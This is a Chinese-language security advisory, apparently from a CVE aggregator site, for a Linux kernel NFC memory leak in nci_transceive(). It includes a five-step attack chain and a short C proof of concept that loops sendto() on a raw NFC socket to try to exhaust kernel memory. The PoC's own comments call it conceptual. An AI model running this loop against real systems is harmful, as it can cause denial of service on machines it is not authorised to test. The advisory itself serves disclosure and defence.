IPBUF安全漏洞报告
English
CVE-2026-23339 CVSS 5.5 中危

Linux内核NFC子系统nci_transceive内存泄漏漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23339
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存泄漏DoSNFC本地漏洞

漏洞概述

Linux内核NFC子系统中存在内存泄漏漏洞。nci_transceive()函数在处理-EPROTO、-EINVAL和-EBUSY等错误路径时,未释放已获取的skb(socket buffer)所有权,导致内存资源无法回收。该漏洞通常在NFC自检或特定数据交互中触发,可能导致本地系统内存耗尽,从而影响系统可用性。

技术细节

该漏洞位于Linux内核的net/nfc/nci/core.c文件中。nci_transceive()函数预期会完全接管调用者传入的skb缓冲区。然而,当函数在执行过程中遇到协议错误(-EPROTO)、无效参数(-EINVAL)或设备忙碌(-EBUSY)时,代码直接返回了错误码,却跳过了释放skb的步骤。在NFC设备进行自检(nci_dev selftest)或处理NIPA数据交换时,如果频繁触发这些错误路径,kmemleak会检测到大量未引用的内存对象。由于这些对象无法被回收,持续的攻击或操作可能导致系统内存耗尽,引发拒绝服务(DoS)。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获取本地低权限用户访问权限(PR:L)。
STEP 2
2. 触发NFC交互
攻击者利用本地应用程序或脚本与NFC设备进行交互,调用nci_transceive函数。
STEP 3
3. 触发错误路径
通过发送特定数据或制造设备忙碌状态,强制函数进入-EPROTO、-EINVAL或-EBUSY错误返回路径。
STEP 4
4. 内存泄漏
由于错误路径未释放skb内存,导致每次操作都产生内存泄漏。
STEP 5
5. 拒绝服务
重复上述操作导致系统内存耗尽,造成系统不稳定或崩溃(可用性影响 A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-23339 * Triggering the memory leak in nci_transceive error paths. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/nfc.h> int main(int argc, char **argv) { int sock; struct sockaddr_nfc addr; char buffer[256]; // Create a raw NFC socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_NFC; // Assume target index 0 for demonstration addr.dev_idx = 0; addr.target_idx = 0; addr.nfc_protocol = NFC_PROTO_NFC_DEP; // Loop to trigger the vulnerability repeatedly // In a real scenario, this would interact with a driver to force -EBUSY or -EINVAL for (int i = 0; i < 1000; i++) { // Attempting to send data that might trigger error paths // e.g. sending invalid data or flooding when device is busy sendto(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&addr, sizeof(addr)); // If the driver returns -EPROTO, -EINVAL, or -EBUSY inside nci_transceive, // the skb is leaked. } close(sock); printf("PoC execution completed. Check kernel logs for kmemleak warnings.\n"); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
如果不需要NFC功能,建议在BIOS或内核中禁用NFC模块以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表